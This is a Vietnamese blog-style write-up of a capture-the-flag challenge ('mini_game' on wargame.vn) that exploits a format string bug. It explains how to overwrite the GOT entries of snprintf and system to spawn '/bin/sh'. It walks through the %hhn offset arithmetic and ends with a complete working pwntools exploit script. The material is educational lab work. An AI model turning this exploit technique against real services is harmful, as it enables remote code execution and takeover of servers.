Chào ! lại là tôi đây. Bây h tôi sẽ tiếp tực bài FmT
hôm trước nhé. Hôm nay sẽ là chữa 1 bài bị lỗi FmT trên trang wargame.vn (1
trang làm CTF của Bkav)
Tên bài là mini_game tác giả là của 1 anh khá đẹp trai
dấu tên, tên là Chung sinh năm 96 tại trường DHBKHN.
Về mức độ thì mấy ông yên tâm là cứ thấy FmT là đã cảm
giác dễ rồi ý.
Thôi bắt đầu nhé.
Src này
Chạy thử nhé.
Chả có gì đặc biệt ngoài mấy hàm check lung tung cả.
chỉ cần theo luồng nhập tên, chọn boss số 2 (Asassins Hunter) chọn “Y” và thế
là đến đoạn bị lỗi. đấy là do mình đọc pseudo code trước nên ms biết thôi.
Nhưng cái đó k quan trọng nên k nói ở đây. Bây h thì đi sau hơn để xem lỗi.
À =] làm tý demo để cho mấy ông xem nếu khai thác được
thì nó sẽ nguy hiểm như thế nào nhé.
Chạy payload “flagminigame.py”
Thấy không. 1 chương trình hoàn toàn bình thường nhưng
chỉ vì lỗi ở 1 chỗ duy nhất thôi là hacker có thể gọi tiến trình khác lên và
chiến luôn máy của server dịch vụ này.
OK làm tiếp nhé
Vứt vào IDA này
To vãi luôn ý và nhiều hàm linh tinh để làm mất tg của mình nữa. nhưng thứ duy nhất lên được chú ý ở đây là hàm “snprintf” bị tôi bôi đen ở dòng 61 kia kìa.
Snprintf làm gì à ?? nó thuộc họ printf nhưng thay vì
in ra màn hình thì nó lại in kết quả vào tham số thứ nhất “byte_602100” nhưng
theo bài trước thì nó bị lỗi FmT
Kịch bản là thế nào há. Thì sau 1 hồi suy nghĩ tôi
cũng đưa ra 1 kịch bản tấn công tuy hơi dài so với ý của tác giả nhưng thôi tạm
chấp nhận vậy.
Tôi nhìn thấy lệnh cuối cùng là gọi đến “system” nhưng
tham số đầu vào lại là lệnh “echo See ….” nhưng mà cái vung luu chuoi “echo See
your …..” thì dkm nó k có quyền sửa. thế là bí 1 lúc rõ lâu. Thực ra là tại
quen đi theo lỗi mòn cũ nên cứ bị trap tại 1 chỗ. Nhìn này.
Thấy không, địa chỉ của “echo See
your….” Nó ở vùng .data và không có quyền ghi. Thế là kế hoạch sửa “echo See your….” Thành “/bin/sh” không thành
công.
Sau 1 hồi giải lao chơi các thứ ..
thì tôi đã quyết định vào sâu trong system để xem GOT của nó là ntn. Và tôi đã
ra 1 thứ mà mãi đến 1 lúc sau tôi mới hiểu là là mình không biết kiến thức này
:3 LUL (cơ bản maf k để ý luôn ý) nói ngay bây h đây.
Tôi vào phần GOT(global offset table) của hàm “system”
thì thấy khá lạ vì nó chỉ lưu 1 địa chỉ của phần .text (k đổi) trong khi bình thường
nó sẽ lưu offset của libc(luôn thay đổi) “DM trước h không để ý luôn. Bây h mói
biết =[”
Thế là mình có 1 hương làm mới.
Đầu tiền mình sẽ lưu GOT của system thành địa chỉ của
1 hàm phía trước đây này.
Để làm gì á ? để khi gọi đến system thì thay vì dùng lệnh
system(“echo See…”) thì nó sẽ nhảy lên trên chỗ này
Và nó sẽ biến thành printf(“echo See…”) nghĩa là 1 vòng lặp luôn ý. Và thay đổi GOT của “snprintf” thành Got của system “đoạn không đổi vữa nãy ý” (0x00000000004007b6)
Được rồi. bây h chót lại nhưng thứ sẽ làm nhé
+ viết payload = python để tự động chạy đến đoạn bị lỗi
FmT
+ ghi đè địa chỉ 0x602030(địa chỉ của GOT system) =
0x400D5D (tạo vòng lặp)
+ ghi đè địa chỉ 0x602040 (địa chỉ của GOT snprintf) =
0x4007b6 (địa chỉ lưu ở GOT của system)
Thì khi thành công sau khi gọi đến hàm system nó sẽ nhảy
đển hàm printf phía trên và sau đó nó sẽ gọi hàm snprintf lần 2. Nhưng lần này
snprintf lại bị thay = GOT của system thì nghĩa là nó sẽ gọi đến lệnh system(byte_602100)
Nhưng lúc này byte_602100 đã được ghi từ lần trước.
nên bây giờ lần đầu tiên nhảy đến snprintf thì ta phải có “/bin/sh;” ở phía trước
để cho lần thứ 2 gọi sẽ là system(“/bin/sh;”)
Note lại mấy cái phải sửa nè
0x602040-> 0x4007b6
0x602030-> 0x400D5D
Đã thấy dối chưa lần đầu tiếp cận tôi cũng như thế đấy
:3 nhưng chưa là gì đâu. Tiếp theo nó mới là khó đây này.
Đầu tiên nhé ta phải tách từng byte ra để xem byte nào
lưu vào địa chỉ nào ví dụ như để địa chỉ 0x602040 lưu 0x4007b6 thì :
Tại sao lại cần biết cái này à. ờ thì mấy ông nhớ cái
%n và mấy cáo offset không? Ý tưởng là các địa chỉ được các offset trỏ tới và “0xb6”
là độ dài của đoạn in ra từ trước.(đã ví dụ ở phần 1) thì để ikhai thác bây giờ
ta chỉ cần sắp xếp các byte cần truyền vào theo thứ tự từ bé đến lớn là xong. Đó
cũng là thứ tự ghi từng offset của chúng ta.
Hơi khó hiểu hả ?? tôi cũng kb giải thích kỹ hơn ntn
ngoài sử dụng ví dụ.
Đầu tiên ta tách các byte cần ghi ra và sắp xếp lại từ
bé đến lớn nhé
Đầu tiên sẽ là “0x07” thì nghĩa là địa chỉ “snprintf+1”
được ghi đầu tiên
Tiếp theo là “0x0d” thì nghĩa là địa chỉ “system+1” được
ghi tiếp theo
Tiếp theo là “snprint+2” và “systemm+2” cùng là “0x40”
…… cứ thế đến khi nào hết 6 byte thì thôi.
Thật vậy. đây là đoạn payload của mình. (chỉ cần quan
tâm tới dòng cuối thôi nhé. Dòng đầu sẽ nói sau)
P64 nghĩa là format chuỗi dưới dạng địa chỉ 64 bit
Mấy ông thấy không. Đúng như trình tự tôi vừa nói ở
trên.
Tiếp theo tính toán offset và viết mã khai thác. Vì kiến
thức hầu như đã đủ nên tôi sẽ giải thích từng đoạn của mã khai thác.
Đầu tiên cũng là quan trọng nhất là dòng số 2:
fmt +=
cyclic(110-32-6+8-len(fmt))
nó để giới hạn độ dài đoạn phía trước. nghĩa là sau
khi kết thúc đoạn này thì độ dài của payload luôn bằng “110-32-6+8=80” để
offset (đoạn phía sau) luôn cố định địa chỉ. Để cho dễ dàng trong việc tính
offset của dòng 1
vẽ lại cái offset này
“/bin/sh;”
là kịch bản ban đầu của chúng ta. Đó là lệnh mà sau khi ta ghi đè xong các
vung nhớ thì hệ thống sẽ thực hiện.
“%255c%14$hhn”:
in ra 255 kí tự và lưu số kí tự đã in được ( bằng 255+8(độ dài /bin/sh;)) vào
offset thứ 14 là địa chỉ đầu tiên tôi vừa phân tích ở trên “snprint+1” dưới dạng
byte
Như vừa nãy tôi nói ý thì địa chỉ “snprint+1” cần lưu
giá trị là “0x7” nhưng mà vấn đề là đoạn “/bin/sh;” độ dài đã = 8 cmn rồi. nên
ta cần +255 để nó quay lại 7 (vì lưu dạng
byte mà 2^8 = 256 )hiểu chưa? Hiểu rồi thì thấy có hay không :3
Tiếp nhé
“%6c%15$hhn”:
như
trên in ra 6 kí tự và lưu vào offset
15 “systemm+1”, thì địa chỉ này như trên đã phân tích là cần chứa giá trị “0xd” và vừa nãy đã in ra 0x7 rồi nên bây giờ
cần “0xd-0x7=0x6” ks tự nữa. đó là nguyên nhân %6c ở đây hiểu chưa nào
Chưa hiểu thì giải thích nốt 1 cái này nữa thôi nhé.
“%51c%16$n”
offset
số 16 cần lưu giá trị là “0x40” nên cần in them 51 kí tự nữa (51=0x40-0xd)
à cần chú ý 1 thứ đó là GOT của snprintf ý. Sau khi chạy
qua thì chỗ này sẽ lưu địa chỉ của thư viện (libc)
Mình cần ghi vào
Và nó lớn hơn
đoạn mình ghi đè. Thì làm sao à ? nghĩa là ghi đè thành công thi sẽ có 1-2 byte
cuối không được ghi và sẽ khiến đoạn của ta bị lỗi. nên ta phải dung kí hiệu %n để ghi và sẽ khiến
cho 3 byte thừa bên cạnh bằng ‘\x00’ và giúp cho chương trình của chúng ta chạy
được.
Tương tự với các offset khác xong.
Đây là flag chuẩn
"flagminigame.py"
from pwn import *
input= 0x0000000000603030
fmtv= 0x000000000602100
'''
callprintf = 0x000000000400D5D
snprintf = 0x000000000400D8F
systemcall= 0x00000000004007b6
0x602030 -> 0x0000400BCF
0x602100
snprint 0x602040
systemm 0x602030
writetosnprint 40 07 b6
writetosystem 40 0D 5D
sắp xếp
'''
snprint = 0x602040
systemm = 0x602030
p = process('./mini-game')
pause()
p.recvuntil('Name of your Hero: ')
p.sendline('1')
p.recvuntil('Your Choice: ')
p.sendline('2')
p.recvuntil('Do you want to share with your friends?(Y/N) ')
p.sendline('Y')
fmt = '/bin/sh;%255c%14$hhn%6c%15$hhn%51c%16$n%17$hhn%29c%18$hhn%89c%19$hhn%74c%20$hhn'
fmt += cyclic(110-32-6+8-len(fmt))
fmt += p64(snprint+1)+p64(systemm+1)+p64(snprint+2)+p64(systemm+2)+p64(systemm)+p64(snprint)+p64(snprint+3)
p.recvuntil('Status: ')
p.sendline(fmt)
p.sendline('1')
p.interactive()























